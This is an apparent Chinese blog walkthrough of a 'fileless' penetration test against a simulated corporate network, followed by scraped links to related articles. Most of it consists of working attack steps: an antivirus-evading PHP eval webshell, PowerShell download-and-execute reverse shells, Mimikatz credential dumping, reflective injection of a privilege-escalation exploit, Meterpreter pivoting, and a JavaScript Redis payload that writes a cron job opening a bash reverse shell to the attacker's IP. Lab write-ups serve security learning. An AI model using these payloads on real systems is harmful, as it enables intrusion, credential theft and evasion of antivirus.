60字节 - 无文件渗透测试实验

0x00 缘由

前几天看到文章《全球上百家银行和金融机构感染了一种“无文件”恶意程序,几乎无法检测》,希望自己能够亲手实验一下,以最大程度还原这种“无文件”攻击方式。

0x01 拓扑设计

  • 192.168.1.0/24: 模拟公网环境
  • 172.21.132.0/24: 模拟企业内网环境
  • 192.168.1.108: 黑客 Kali 攻击机
  • 192.168.1.212: 黑客 Windows 攻击机
  • 边界 Web 服务器双网卡(公网的:192.168.1.110,和内网的172.21.132.110),而且为了最基本的安全保障,Web 边界服务器设置了防火墙,此防火墙对外网只开放80,81,443端口,对内网开放所有端口,上面装有360杀毒软件
  • 内网还布置若干台 Web 服务器,一台旁路告警设备(ips),他们都可以连接到外网,但是外网访问不到内部的任何web服务器
  • 其中 Web 服务器(172.21.132.113/linux)前面放置防火墙,不可以被内网的其他 Web 服务器访问到,但它可访问到内网其他服务器并且能够连接外网

0x02 Nishang, PowerSploit

  1. Nishang是基于 PowerShell 的渗透测试专用工具。集成了框架、脚本和各种payload。这些脚本是由Nishang的作者在真实渗透测试过程中有感而发编写的,具有实战价值。包括了下载和执行、键盘记录、dns、延时命令等脚本
  2. PowerSploit是又一款 Post Exploitation 相关工具,Post Exploitation 是老外渗透测试标准里面的东西,就是获取shell之后干的一些事情。PowerSploit 其实就是一些 Powershell 脚本,包括 Inject-Dll(注入dll到指定进程)、Inject-Shellcode(注入shellcode到执行进程)、Encrypt- Script(文本或脚本加密)、Get-GPPPassword(通过groups.xml获取明文密码)、Invoke- ReverseDnsLookup(扫描 DNS PTR记录)

0x03 开始渗透

由于边界 Web 服务器上 fastcgi 配置错误,导致服务器被 Getshell。因为服务器上有杀毒软件,所以要把一句话木马做一下转换,绕过思路参考:打狗棒法之进阶篇:Cknife修改配置法秒过安全狗

服务器端木马内容:

<?php
eval(‘$n0tr00t =‘.$_POST[‘test‘]);
eval($n0tr00t);
?>

替换 Config.ini PHP_MAKE 为:

base64_decode($_POST[‘action‘]);

拿到 Webshell 之后 systeminfo 查看系统信息:

可以看到这个是一台 Win2008 r2 64 位而且没有打任何系统补丁的系统,所以我们可以从上面反弹一个 Powershell 出来进行下一步渗透,首先把 nishang git clone 到 Web 目录下,然后在shell 目录下找到 Invoke-PowerShellTcp.ps1,为了方便直接把 Invoke-PowerShellTcp.ps1 复制到根目录,nc 监听8888端口,然后执行:

powershell IEX (New-Object Net.WebClient).DownloadString(‘http://192.168.108/Invoke-PowerShellTcp.ps1‘);Invoke-PowerShellTcp -Reverse -IPAddress 192.168.1.108 -port 8888

不过查看权限发现权限比较低:iis apppool\defaultapppool ,所以我们需要提高一下权限, 一般是上传内核溢出 exp ,我在这里选择直接从远处加载一个 exe 到受害主机内存中,并且让他执行起来,把:https://github.com/clymb3r/PowerShell/blob/master/Invoke-ReflectivePEInjection/Invoke-ReflectivePEInjection.ps1 下载到 Hacker-Web 目录下,提权我们这里使用 ms1564.exe :

IEX (New-Object Net.WebClient).DownloadString
(‘http://192.168.108/Invoke-ReflectivePEInjection.ps1‘);
Invoke-ReflectivePEInjection -PEUrl http://192.168.1.108/ms1564.exe -ExeArgs "cmd" -ForceASLR

这里面有个坑,ms15051 由于是随便从一个网上下载下来的,没有经过改造,所以当执行的指令参数有空格的时候,他会没有任何反应,也没有任何回显,后来经过不断尝试,执行cmd的时候就可以把shell的权限提了,但是如果你执行 powershell 这个指令的话,那么这个反弹的shell就会假死。

这时在本机搜集信息,mimikatz 脱出登陆过的密码:

IEX (New-Object Net.WebClient).DownloadString(‘http://192.168.1.108/Invoke-Mimikatz.ps1‘);Invoke-Mimikatz

查看 arp 的列表:

看到好多机子集中在 172.21.132.100-120 这个网段,我们调用 poershell 扫一下,端口扫描的脚本可以从这里下载:https://github.com/samratashok/nishang/blob/master/Scan/Invoke-PortScan.ps1

扫描:

IEX (New-Object Net.WebClient).DownloadString(‘http://192.168.1.108/Invoke-PortScan.ps1‘);
Invoke-PortScan -StartAddress 172.21.132.0 -EndAddress 172.21.132.254 -ResolveHost -ScanPort

这个时候我们反弹一个 meterpreter 利用 powersploit 框架,由于一些奇怪的原因,作者把框架中支持 msf 的部分去掉了,但经过我的查找在作者提交的历史记录里面找到了最后一版支持 msf 的部分:

PowerShellMafia/PowerSploit/12ce71b9f4b0428d9425e001e5988f91eb2b8b87/CodeExecution/Invoke--Shellcode.ps1

如果 git clone 新版本的 PowerSploit 你要用老版本的 CodeExecution/Invoke--Shellcode.ps1 替换掉新版本的文件:

IEX(New-Object Net.WebClient).DownloadString(‘http://192.168.1.108/CodeExecution/Invoke-Shellcode.ps1‘)
Invoke-Shellcode -payload windows/meterpreter/reverse_https -lhost 192.168.1.108 -lport 4444 -force

设置 payload 为 windows/meterpreter/reverse_https ,并且监听 4444 端口:

msf > use exploit/multi/handler
msf exploit(handler) > set payload windows/meterpreter/reverse_https
payload => windows/meterpreter/reverse_https
msf exploit(handler) > set lport 4444
lport => 4444
msf exploit(handler) > set lhost 0.0.0.0
lhost => 0.0.0.0
msf exploit(handler) > run

然后在 powershell 反弹的 shell 中调用:

IEX (New-Object Net.WebClient).DownloadString(‘http://192.168.1.108/1.ps1‘)

拿到 meterpreter ~ 注意:这个 meterpreter 执行 shell 是不能得到交互式 cmd 的,因为刚才用 exp 把反弹的 powershell 变成了 system 的权限,所以再反弹出来的meterpreter 也是 system 权限,查看路由:run get_local_subnets,寻找 putty 保存的信息run enum_putty,寻找ie保存的密码:run post/windows/gather/enum_ie

本地信息搜集差不多了,可以使用 background 把 meterpreter 放入后台,然后添加路由(这样才能进行内网的扫描):

route add 172.21.132.0 255.255.255.0 1

route add 第一个参数是地址,第二个参数地址是掩码,第三个参数是sessis的id;

进行内网的主机扫描,利用 smb 进行主机识别:

use auxiliary/scanner/smb/smb_version

利用刚才找到的管理员密码在内网里面碰撞一下,看看多少主机用的是同样的密码 用的是:use auxiliary/scanner/smb/smb_login

可以看到内网里面的大部分机子都是用的一个密码,下面我们要用 socks 代理进入到内网里面获取一些信息,这里有三种选择:

  1. msf 提供了一种 socks4a 的代理,浏览器可以用这个代理进入到内网,但burp不能用socks4a的代理
  2. 用 reGeorgSocksProxy.py 的 socks5 进入到内网里
  3. 用特殊处理过得 xsocks.exe ,通过 powershell 远程加载到内存里面运行之后得到代理

因为这是60字节 WebShell 的杂技,所以我们采用第三种方法进入到内网,在黑客的web里面放入特殊处理的 xsocks.exe,然后用 poweshell 加载:

IEX (New-Object Net.WebClient).DownloadString(‘http://192.168.1.108/Invoke-ReflectivePEInjection.ps1‘);Invoke-ReflectivePEInjection -PEUrl http://192.168.1.108/xsocks.exe -ExeArgs "-l 443" -ForceASLR

BurpSuite / Firefox 等代理中设置好后就可以实现这样的效果了:

流量拦截下来 repeater :

经过内网探测发现 172.21.132.113 开放 6379 端口,但是通过代理无法连接,后来发现 172.21.132.117:83/xss/add.php 的一个留言板:

根据文章 Client-Side Redis Attack Proof of Concept 我做了一个可以利用redis未授权访问得到反弹shell的js:

  var cmd = new XMLHttpRequest();
  cmd.open("POST", "http://127.0.0.1:6379");
  cmd.send(‘flushall\r\n‘);

  var cmd = new XMLHttpRequest();
  cmd.open("POST", "http://127.0.0.1:6379");
  cmd.send(‘eval \‘‘ + ‘redis.call(\"set\", \"1\",\"\\n\\n*/1 * * * * /bin/bash -i >& /dev/tcp/192.168.1.108/5566 0>&1\\n\\n"); redis.call(\"config\", \"set\", \"dir\", \"/var/spool/cron/\"); redis.call(\"config\", \"set\", \"dbfilename\", \"root\");‘ + ‘\‘ 0‘ + "\r\n");

  var cmd = new XMLHttpRequest();
  cmd.open("POST", "http://127.0.0.1:6379");
  cmd.send(‘save\r\n‘);

在本机监听 5566 端口,只要有装redis的那台机子的管理员查看留言板的话就会弹出一个shell给我们的主机:

0x04 tips

我们在上面介绍用 Powershell 加载外部 exe 进入内存执行,从而不在受害主机里面留下任何痕迹,而且也可以绕过国内主流杀软的查杀,参考:

实现前提条件:

  1. 你要有源码
  2. 源码必须是 c++ 编写,c# 编写的会导致崩溃
  3. 编译的时候建议用 vs2010+winxp 编译
  4. 编译采用/MT 或者/MTd
  5. 代码中不能有写文件的操作

如果要传递参数的话把 int main(int argc char **argv) 改成:

int main()
{
    LPWSTR *szArglist;
    int nArgs;
    int i;
    szArglist = CommandLineToArgvW(GetCommandLineW(), &nArgs);
    if( NULL == szArglist )
    {
        wprintf(L"CommandLineToArgvW failed\n");
        return 0;
    }

}
时间: 2024-10-10 18:08:07

60字节 - 无文件渗透测试实验的相关文章

[Hack] 搭建渗透测试实验环境

安装虚拟机镜像,镜像如下: Kali-Linux-2016.1-vm-amd64(https://www.kali.org/) Metasploitable2-Linux(https://sourceforge.net/projects/metasploitable/) OWASP_Broken_Web_Apps_VM_1.2(https://www.owasp.org/index.php/OWASP_Broken_Web_Applications_Project) Windows 7 meta

手把手教你如何搭建自己的渗透测试环境

介绍 白帽子是指个体发起的黑客攻击,找到系统潜在的可能被恶意黑客利用的的漏洞或脆弱点.在目标不知情或者没得到授权的情况下发起黑客攻击是非法的.所以通常是建立一个自己的实验室,练习黑客技术. 在这个实验室里,你能看到如何创建一个自己的黑客环境,练习各种各样的黑客攻击技术.我们将会探讨不同类型的虚拟系统,构建一个虚拟网络,在虚拟环境中运行试用版的操作系统,搭建一个有漏洞的web应用程序,安装Kali LInux,执行渗透测试. 所需条件: VMware Workstation Windows XP系

Metasploit渗透测试魔鬼训练营

首本中文原创Metasploit渗透测试著作,国内信息安全领域布道者和资深Metasploit渗透测试专家领衔撰写,极具权威性.以实践为导向,既详细讲解了Metasploit渗透测试的技术.流程.方法和技巧,又深刻阐释了渗透测试平台背后蕴含的思想. 本书是Metasploit渗透测试领域难得的经典佳作,由国内信息安全领域的资深Metasploit渗透测试专家领衔撰写.内容系统.广泛.有深度,不仅详细讲解了Metasploit渗透测试的技术.流程.方法和技巧,而且深刻揭示了渗透测试平台背后蕴含的思

新手指南:手把手教你如何搭建自己的渗透测试环境

介绍 白帽子是指个体发起的黑客攻击,找到系统潜在的可能被恶意黑客利用的的漏洞或脆弱点.在目标不知情或者没得到授权的情况下发起黑客攻击是非法的.所以通常是建立一个自己的实验室,练习黑客技术. 在这个实验室里,你能看到如何创建一个自己的黑客环境,练习各种各样的黑客攻击技术.我们将会探讨不同类型的虚拟系统,构建一个虚拟网络,在虚拟环境中运行试用版的操作系统,搭建一个有漏洞的web应用程序,安装Kali LInux,执行渗透测试. 所需条件: VMware Workstation Windows XP系

渗透测试技术之本地文件包含

概述 通过加强对本地文件包含(LFI)渗透测试技术的研究,可以帮助渗透测试人员和学生在未来的渗透测试过程中,识别和测试LFI漏洞.在Web程序渗透测试中,利用本文中的技术发现的LFI漏洞是渗透测试中的典型漏洞.此外,在本文中提到有一些技术,在CTF大赛中也经常被利用. 什么是本地文件包含(LFI)漏洞? LFI允许攻击者通过浏览器包含一个服务器上的文件.当一个WEB应用程序在没有正确过滤输入数据的情况下,就有可能存在这个漏洞,该漏洞允许攻击者操纵输入数据.注入路径遍历字符.包含web服务器的其他

查询Master下的系统表和系统视图获取数据库的信息和简单的渗透测试

在SQL中可以通过查询Master下的系统表(sys)和系统视图(information_schema)获取数据库的信息.SQL2000和SQL2005的结构略有不同. 系统表结构参考系统表详细说明. 系统信息结构图参考:http://dev.mysql.com/doc/refman/5.1/zh/information-schema.html 1.2000下操作: 系统表目录:大部分以dbo.sys为前缀. 系统视图目录:有20个常用的视图,以INFORMATION_SCHEMA为前缀. 在2

Metasploit 渗透测试魔鬼训练营读书笔记(连续更新一)

1.1 什么是渗透测试 1.1.1 渗透测试的起源与定义 如果大家对军事感兴趣,会知道各国军队每年都会组织一些军事演习来锻炼军队的攻防战术与作战能力.在信息科技的发源地--美国的军事演习中,将美军称为"蓝军",将假想敌称为"红军",而这种军事演习的方式也在20世纪90年代时,由美国军方与国家安全局引入到对信息网络与信息安全基础设施的实际攻防测试过程中.由一群受过职业训练的安全专家作为"红队"(Red Team),对接受测试的防御方"蓝队

网站渗透测试原理及详细过程

网站渗透测试原理及详细过程 渗透测试(Penetration Testing)目录 零.前言一.简介二.制定实施方案三.具体操作过程四.生成报告五.测试过程中的风险及规避参考资料FAQ集 零.前言 渗透测试在未得到被测试方授权之前依据某些地区法律规定是违法行为. 这里我们提供的所有渗透测试方法均为(假设为)合法的评估服务,也就是通常所说的道德黑客行为(Ethical hacking),因此我们这里的所有读者应当都是Ethical Hackers,如果您还不是,那么我希望您到过这里后会成为他们中的

渗透测试、取证、安全和黑客的热门链接

你还在找一套工具,可以完成您的日常活动,或正在你只寻找新的工具,您可以尝试着玩?不需要担心,因为今天是你的幸运日 !今天,我将提到的链接. 资源和编辑的各种工具,可用于渗透测试. 计算机取证.安全.和黑客技术. ToolsWatch.org ToolsWatch.org 是由 NJ OUCHN (@toolswatch) 和 Maxi Solder(@maxisoler) 维护的.这是一个很酷的网站,您可以找到最新版本的审计. 渗透测试工具. web 应用安全顾问. 系统管理员. 网络管理员.